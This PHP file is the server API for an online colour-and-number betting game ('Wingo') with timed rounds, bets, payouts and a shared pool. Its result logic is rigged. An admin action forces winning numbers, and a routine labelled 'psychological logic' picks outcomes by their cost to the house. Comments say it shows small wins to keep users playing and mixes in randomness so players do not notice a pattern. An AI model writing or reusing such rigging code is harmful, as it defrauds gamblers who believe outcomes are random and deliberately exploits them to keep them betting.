<?php

// ── ERROR REPORTING (API SAFE) ──────────────────────────────────────────────
ini_set('display_errors', 0); 
ini_set('log_errors', 1);
error_reporting(E_ALL);

header('Content-Type: application/json');

set_exception_handler(function($e) {
    http_response_code(500);
    echo json_encode([
        'ok' => false, 
        'msg' => 'Server Error: ' . $e->getMessage()
    ]);
    exit;
});

session_start();
require_once 'config.php'; 

if (!isset($pdo)) {
    throw new Exception("Database connection failed.");
}

// Basic auth for playing the game
if (!isset($_SESSION['user_id']) || empty($_SESSION['user_id'])) {
    echo json_encode(['ok' => false, 'msg' => 'Unauthorized']);
    exit;
}

$action = $_GET['action'] ?? '';
$uid = (int)$_SESSION['user_id'];

// ── MODE DETECTION ────────────────────────────────────────────
$mode = $_GET['mode'] ?? '30s';
if (!in_array($mode, ['30s', '1min', '3min', '5min'])) $mode = '30s';

if ($mode === '1min') {
    $interval = 60; $bets_table = 'wingo_bets_1min'; $results_table = 'wingo_results_1min'; $cutoff_seconds = 55;
} elseif ($mode === '3min') {
    $interval = 180; $bets_table = 'wingo_bets_3min'; $results_table = 'wingo_results_3min'; $cutoff_seconds = 175;
} elseif ($mode === '5min') {
    $interval = 300; $bets_table = 'wingo_bets_5min'; $results_table = 'wingo_results_5min'; $cutoff_seconds = 295;
} else {
    $interval = 30; $bets_table = 'wingo_bets'; $results_table = 'wingo_results'; $cutoff_seconds = 25;
}

// ── PERIOD CALCULATION ──────────────────────────────────────────────────────
function getPeriod($inv = 30) {
    $seconds_in_day = (date('H') * 3600) + (date('i') * 60) + date('s');
    $issue_num = floor($seconds_in_day / $inv) + 1;
    return date('Ymd') . str_pad($issue_num, 4, '0', STR_PAD_LEFT);
}

// ── INDESTRUCTIBLE GAME RESOLUTION ──────────────────────────────────────────
function resolvePendingGames($pdo, $inv, $bt, $rt) {
    $current_period = getPeriod($inv);
    
    $stmt = $pdo->prepare("SELECT DISTINCT period FROM {$bt} WHERE status = 'pending' AND period < ?");
    $stmt->execute([$current_period]);
    $pending_periods = $stmt->fetchAll(PDO::FETCH_COLUMN);

    // 1. Resolve periods that actually have bets
    foreach ($pending_periods as $p) {
        $pdo->beginTransaction();
        try {
            $check_res = $pdo->prepare("SELECT id FROM {$rt} WHERE period = ?");
            $check_res->execute([$p]);
            if ($check_res->rowCount() > 0) {
                $pdo->rollBack();
                continue; 
            }

            $bets_stmt = $pdo->prepare("SELECT * FROM {$bt} WHERE period = ? AND status = 'pending' FOR UPDATE");
            $bets_stmt->execute([$p]);
            $period_bets = $bets_stmt->fetchAll(PDO::FETCH_ASSOC);

            if (empty($period_bets)) {
                $pdo->rollBack();
                continue;
            }
 
            // SHARED POOL CHECK (Locked for safe reading)
            $pool_balance = (float)$pdo->query("SELECT balance FROM wingo_pool ORDER BY id ASC LIMIT 1 FOR UPDATE")->fetchColumn();
            
            $payout_scenarios = array_fill(0, 10, 0);
            $total_bets_amount = 0;

            foreach ($period_bets as $bet) {
                $amt = (float)$bet['amount'];
                $bo = strtolower(trim($bet['bet_on']));
                $total_bets_amount += $amt;

                for ($n = 0; $n <= 9; $n++) {
                    $is_big = ($n >= 5);
                    $win_color = ($n == 0 || $n == 5) ? 'violet' : (($n % 2 == 0) ? 'red' : 'green');
                    $payout = 0;

                    if (is_numeric($bo) && $bo === (string)$n) {
                        $payout = $amt * 9;
                    } elseif ($bo === 'big' && $is_big) {
                        $payout = $amt * 2;
                    } elseif ($bo === 'small' && !$is_big) {
                        $payout = $amt * 2;
                    } elseif ($bo === 'violet' && $win_color === 'violet') {
                        $payout = $amt * 4.5;
                    } elseif ($bo === 'red') {
                        if (in_array($n, [2, 4, 6, 8])) $payout = $amt * 2;
                        if ($n === 0) $payout = $amt * 1.5;
                    } elseif ($bo === 'green') {
                        if (in_array($n, [1, 3, 7, 9])) $payout = $amt * 2;
                        if ($n === 5) $payout = $amt * 1.5;
                    }

                    $payout_scenarios[$n] += $payout;
                }
            }

            $winning_number = -1;

            // ─── ADMIN FORCE CHECK ─────────────────────────────────────────────────────
            $force_chk = $pdo->prepare("SELECT force_type, force_value FROM wingo_admin_force WHERE period = ?");
            $force_chk->execute([$p]);
            $admin_force = $force_chk->fetch(PDO::FETCH_ASSOC);

            if ($admin_force) {
                $ft = strtolower($admin_force['force_type']);
                $fv = strtolower($admin_force['force_value']);

                if ($ft === 'number' && is_numeric($fv) && $fv >= 0 && $fv <= 9) {
                    $winning_number = (int)$fv;
                } elseif ($ft === 'size') {
                    $pool = ($fv === 'big') ? [5,6,7,8,9] : [0,1,2,3,4];
                    $winning_number = $pool[array_rand($pool)];
                } elseif ($ft === 'color') {
                    if ($fv === 'red') $pool = [2,4,6,8];
                    elseif ($fv === 'green') $pool = [1,3,7,9];
                    elseif ($fv === 'violet') $pool = [0,5];
                    if (isset($pool)) {
                        $winning_number = $pool[array_rand($pool)];
                    }
                }
            }
            // ───────────────────────────────────────────────────────────────────────────

            // ─── NEW PSYCHOLOGICAL LOGIC: STOP THE BLEED ───────────────────────────────
            if ($winning_number === -1) {
                // Lowered max allowed payout to 75% max of the current bets (was 90%)
                $max_allowed_payout = ($total_bets_amount * 0.75) + min(($pool_balance * 0.01), 20); 
                
                $affordable_numbers = [];
                $lowest_cost = $payout_scenarios[0];
                $lowest_cost_numbers = [0];
                $sweet_spot_numbers = [];

                for ($n = 0; $n <= 9; $n++) {
                    if ($payout_scenarios[$n] <= $max_allowed_payout) {
                        $affordable_numbers[] = $n;
                    }

                    if ($n == 0) {
                        $lowest_cost = $payout_scenarios[0];
                        $lowest_cost_numbers = [0]; 
                    } else {
                        if ($payout_scenarios[$n] < $lowest_cost) {
                            $lowest_cost = $payout_scenarios[$n];
                            $lowest_cost_numbers = [$n];
                        } elseif ($payout_scenarios[$n] == $lowest_cost) {
                            $lowest_cost_numbers[] = $n;
                        }
                    }

                    // SWEET SPOT: The payout is greater than 0 (someone wins) 
                    // BUT it's less than 40% of the total table bets. (House wins 60%+)
                    if ($payout_scenarios[$n] > 0 && $payout_scenarios[$n] <= ($total_bets_amount * 0.40)) {
                        $sweet_spot_numbers[] = $n;
                    }
                }

                // --- The Roll ---
                $roll = rand(1, 100);

                if ($roll <= 60) {
                    // 60% Chance: Psychological Sweet Spot. Keep users playing by showing wins, 
                    // but the house keeps the majority of the bets.
                    if (!empty($sweet_spot_numbers)) {
                        $winning_number = $sweet_spot_numbers[array_rand($sweet_spot_numbers)];
                    } else {
                        // Fallback: If no sweet spot exists, take everything to protect the house
                        $winning_number = $lowest_cost_numbers[array_rand($lowest_cost_numbers)];
                    }
                } elseif ($roll <= 85) {
                    // 25% Chance: Absolute House Win. Pick the lowest possible payout (often 0).
                    $winning_number = $lowest_cost_numbers[array_rand($lowest_cost_numbers)];
                } else {
                    // 15% Chance: True Random from Affordable. This prevents players from 
                    // noticing a pattern. It still guarantees the house doesn't go bankrupt.
                    if (!empty($affordable_numbers)) {
                        $winning_number = $affordable_numbers[array_rand($affordable_numbers)];
                    } else {
                        $winning_number = $lowest_cost_numbers[array_rand($lowest_cost_numbers)];
                    }
                }
            }

            $win_size = ($winning_number >= 5) ? 'big' : 'small';
            $win_color = ($winning_number == 0 || $winning_number == 5) ? 'violet' : (($winning_number % 2 == 0) ? 'red' : 'green');

            $pdo->prepare("INSERT INTO {$rt} (period, number, size, color) VALUES (?, ?, ?, ?)")
                ->execute([$p, $winning_number, $win_size, $win_color]);

            $total_payout_deduction = 0;

            foreach ($period_bets as $bet) {
                $amt = (float)$bet['amount'];
                $bo = strtolower(trim($bet['bet_on']));
                $payout = 0;
                $is_win = false;

                if (is_numeric($bo) && $bo === (string)$winning_number) {
                    $payout = $amt * 9; $is_win = true;
                } elseif ($bo === 'big' && $win_size === 'big') {
                    $payout = $amt * 2; $is_win = true;
                } elseif ($bo === 'small' && $win_size === 'small') {
                    $payout = $amt * 2; $is_win = true;
                } elseif ($bo === 'violet' && $win_color === 'violet') {
                    $payout = $amt * 4.5; $is_win = true;
                } elseif ($bo === 'red') {
                    if (in_array($winning_number, [2, 4, 6, 8])) { $payout = $amt * 2; $is_win = true; }
                    if ($winning_number === 0) { $payout = $amt * 1.5; $is_win = true; }
                } elseif ($bo === 'green') {
                    if (in_array($winning_number, [1, 3, 7, 9])) { $payout = $amt * 2; $is_win = true; }
                    if ($winning_number === 5) { $payout = $amt * 1.5; $is_win = true; }
                }

                if ($is_win) {
                    $pdo->prepare("UPDATE {$bt} SET status = 'win', payout = ? WHERE id = ?")->execute([$payout, $bet['id']]);
                    $pdo->prepare("UPDATE users SET balance = balance + ? WHERE id = ?")->execute([$payout, $bet['user_id']]);
                    $total_payout_deduction += $payout;
                } else {
                    $pdo->prepare("UPDATE {$bt} SET status = 'loss', payout = 0 WHERE id = ?")->execute([$bet['id']]);
                }
            }

            if ($total_payout_deduction > 0) {
                $pdo->prepare("UPDATE wingo_pool SET balance = GREATEST(0, balance - ?) ORDER BY id ASC LIMIT 1")->execute([$total_payout_deduction]);
            }

            // Cleanup force entry so it doesn't pile up endlessly
            $pdo->prepare("DELETE FROM wingo_admin_force WHERE period = ?")->execute([$p]);

            $pdo->commit();
        } catch (Exception $e) {
            $pdo->rollBack();
        }
    }

    // 2. BACKFILL EMPTY PERIODS
    $last_res = $pdo->query("SELECT period FROM {$rt} ORDER BY period DESC LIMIT 1")->fetchColumn();
    
    if ($last_res && $last_res < $current_period) {
        $start = (int)$last_res + 1;
        $end = (int)$current_period - 1;
        if ($end - $start > 5 || $end - $start < 0) { $start = $end - 5; }
        
        for ($p = $start; $p <= $end; $p++) {
            $p_str = (string)$p;
            $pdo->beginTransaction();
            try {
                $chk = $pdo->prepare("SELECT id FROM {$rt} WHERE period = ?");
                $chk->execute([$p_str]);
                if ($chk->rowCount() == 0) {
                    
                    $winning_number = -1;
                    
                    $force_chk = $pdo->prepare("SELECT force_type, force_value FROM wingo_admin_force WHERE period = ?");
                    $force_chk->execute([$p_str]);
                    $admin_force = $force_chk->fetch(PDO::FETCH_ASSOC);

                    if ($admin_force) {
                        $ft = strtolower($admin_force['force_type']);
                        $fv = strtolower($admin_force['force_value']);

                        if ($ft === 'number' && is_numeric($fv) && $fv >= 0 && $fv <= 9) {
                            $winning_number = (int)$fv;
                        } elseif ($ft === 'size') {
                            $pool = ($fv === 'big') ? [5,6,7,8,9] : [0,1,2,3,4];
                            $winning_number = $pool[array_rand($pool)];
                        } elseif ($ft === 'color') {
                            if ($fv === 'red') $pool = [2,4,6,8];
                            elseif ($fv === 'green') $pool = [1,3,7,9];
                            elseif ($fv === 'violet') $pool = [0,5];
                            if (isset($pool)) $winning_number = $pool[array_rand($pool)];
                        }
                        
                        $pdo->prepare("DELETE FROM wingo_admin_force WHERE period = ?")->execute([$p_str]);
                    }

                    if ($winning_number === -1) {
                        $winning_number = rand(0, 9);
                    }

                    $win_size = ($winning_number >= 5) ? 'big' : 'small';
                    $win_color = ($winning_number == 0 || $winning_number == 5) ? 'violet' : (($winning_number % 2 == 0) ? 'red' : 'green');
                    
                    $pdo->prepare("INSERT INTO {$rt} (period, number, size, color) VALUES (?, ?, ?, ?)")
                        ->execute([$p_str, $winning_number, $win_size, $win_color]);
                }
                $pdo->commit();
            } catch (Exception $e) {
                $pdo->rollBack();
            }
        }
    }
}

switch($action) {
    // ── ADMIN: FORCE RESULT ─────────────────────────────────────────────────
    case 'admin_force':
        if (!isset($_SESSION['um_admin']) || $_SESSION['um_admin'] !== true) {
            echo json_encode(['ok' => false, 'msg' => 'Unauthorized: Admin access required']);
            exit;
        }

        $period = $_POST['period'] ?? getPeriod($interval); 
        $force_type = $_POST['force_type'] ?? ''; 
        $force_value = $_POST['force_value'] ?? '';

        if (!in_array($force_type, ['number', 'size', 'color'])) {
            echo json_encode(['ok' => false, 'msg' => 'Invalid force type']);
            exit;
        }

        try {
            $st = $pdo->prepare("INSERT INTO wingo_admin_force (period, force_type, force_value) VALUES (?, ?, ?) ON DUPLICATE KEY UPDATE force_type=VALUES(force_type), force_value=VALUES(force_value)");
            $st->execute([$period, $force_type, $force_value]);
            
            echo json_encode(['ok' => true, 'msg' => "Successfully forced $force_type to $force_value for period $period"]);
        } catch(Exception $e) {
            echo json_encode(['ok' => false, 'msg' => 'Database error']);
        }
        break;

    // ── GAME STATE ──────────────────────────────────────────────────────────
    case 'get_game_state':
        try {
            resolvePendingGames($pdo, $interval, $bets_table, $results_table);
            $period = getPeriod($interval);
            $time_left = $interval - (time() % $interval);
            $results = $pdo->query("SELECT * FROM {$results_table} ORDER BY period DESC LIMIT 10")->fetchAll(PDO::FETCH_ASSOC);
            echo json_encode(['ok' => true, 'period' => $period, 'time_left' => $time_left, 'history' => $results]);
        } catch (Exception $e) {
            echo json_encode(['ok' => false, 'msg' => 'State Error']);
        }
        break;

    // ── PLACE BET ───────────────────────────────────────────────────────────
    case 'place_bet':
        if (!isset($_POST['bet_on']) || !isset($_POST['amount'])) {
            echo json_encode(['ok' => false, 'msg' => 'Missing parameters']);
            exit;
        }

        if (time() % $interval >= $cutoff_seconds) { 
            echo json_encode(['ok' => false, 'msg' => 'Betting closed for this period']); 
            exit; 
        }
        
        $period = getPeriod($interval);
        $bet_on = $_POST['bet_on']; 
        $amount = (float)$_POST['amount'];
        
        if ($amount < 1) { 
            echo json_encode(['ok' => false, 'msg' => 'Invalid amount']); 
            exit; 
        }
        
        try {
            $pdo->beginTransaction();
            $u = $pdo->prepare("SELECT balance FROM users WHERE id = ? FOR UPDATE");
            $u->execute([$uid]);
            $user = $u->fetch();
            
            if (!$user || $user['balance'] < $amount) {
                $pdo->rollBack();
                echo json_encode(['ok' => false, 'msg' => 'Insufficient balance']);
                exit;
            }
            
            $pdo->prepare("UPDATE users SET balance = balance - ?, wager = GREATEST(0, wager - ?) WHERE id = ?")->execute([$amount, $amount, $uid]);
                
            $pool_addition = $amount * 0.90;
            
            $pool_id = $pdo->query("SELECT id FROM wingo_pool ORDER BY id ASC LIMIT 1 FOR UPDATE")->fetchColumn();
            if ($pool_id !== false) {
                $pdo->prepare("UPDATE wingo_pool SET balance = balance + ? WHERE id = ?")->execute([$pool_addition, $pool_id]);
            } else {
                $pdo->prepare("INSERT INTO wingo_pool (id, balance) VALUES (1, ?)")->execute([$pool_addition]);
            }
            
            $pdo->prepare("INSERT INTO {$bets_table} (user_id, period, bet_on, amount, status) VALUES (?,?,?,?, 'pending')")->execute([$uid, $period, $bet_on, $amount]);
                
            $pdo->commit();
            echo json_encode(['ok' => true, 'msg' => 'Bet placed']);
        } catch (Exception $e) {
            if ($pdo->inTransaction()) { $pdo->rollBack(); }
            echo json_encode(['ok' => false, 'msg' => 'Betting error']);
        }
        break;

    // ── MY HISTORY ──────────────────────────────────────────────────────────
    case 'get_my_history':
        try {
            resolvePendingGames($pdo, $interval, $bets_table, $results_table);
            $st = $pdo->prepare("SELECT * FROM {$bets_table} WHERE user_id = ? ORDER BY id DESC LIMIT 10");
            $st->execute([$uid]);
            echo json_encode(['ok' => true, 'data' => $st->fetchAll(PDO::FETCH_ASSOC)]);
        } catch (Exception $e) {
            echo json_encode(['ok' => false, 'msg' => 'History error']);
        }
        break;
        
    // ── CHECK WIN ───────────────────────────────────────────────────────────
    case 'check_win':
        if (!isset($_GET['last_period'])) {
            echo json_encode(['ok' => false, 'msg' => 'Missing period']);
            exit;
        }
        try {
            $last_period = $_GET['last_period'];
            $st = $pdo->prepare("SELECT * FROM {$bets_table} WHERE user_id = ? AND period = ? AND status != 'pending'");
            $st->execute([$uid, $last_period]);
            echo json_encode($st->fetch(PDO::FETCH_ASSOC) ?: ['status' => 'no_result']);
        } catch (Exception $e) {
            echo json_encode(['ok' => false, 'msg' => 'Check win error']);
        }
        break;
        
    default:
        echo json_encode(['ok' => false, 'msg' => 'Invalid action']);
        break;
}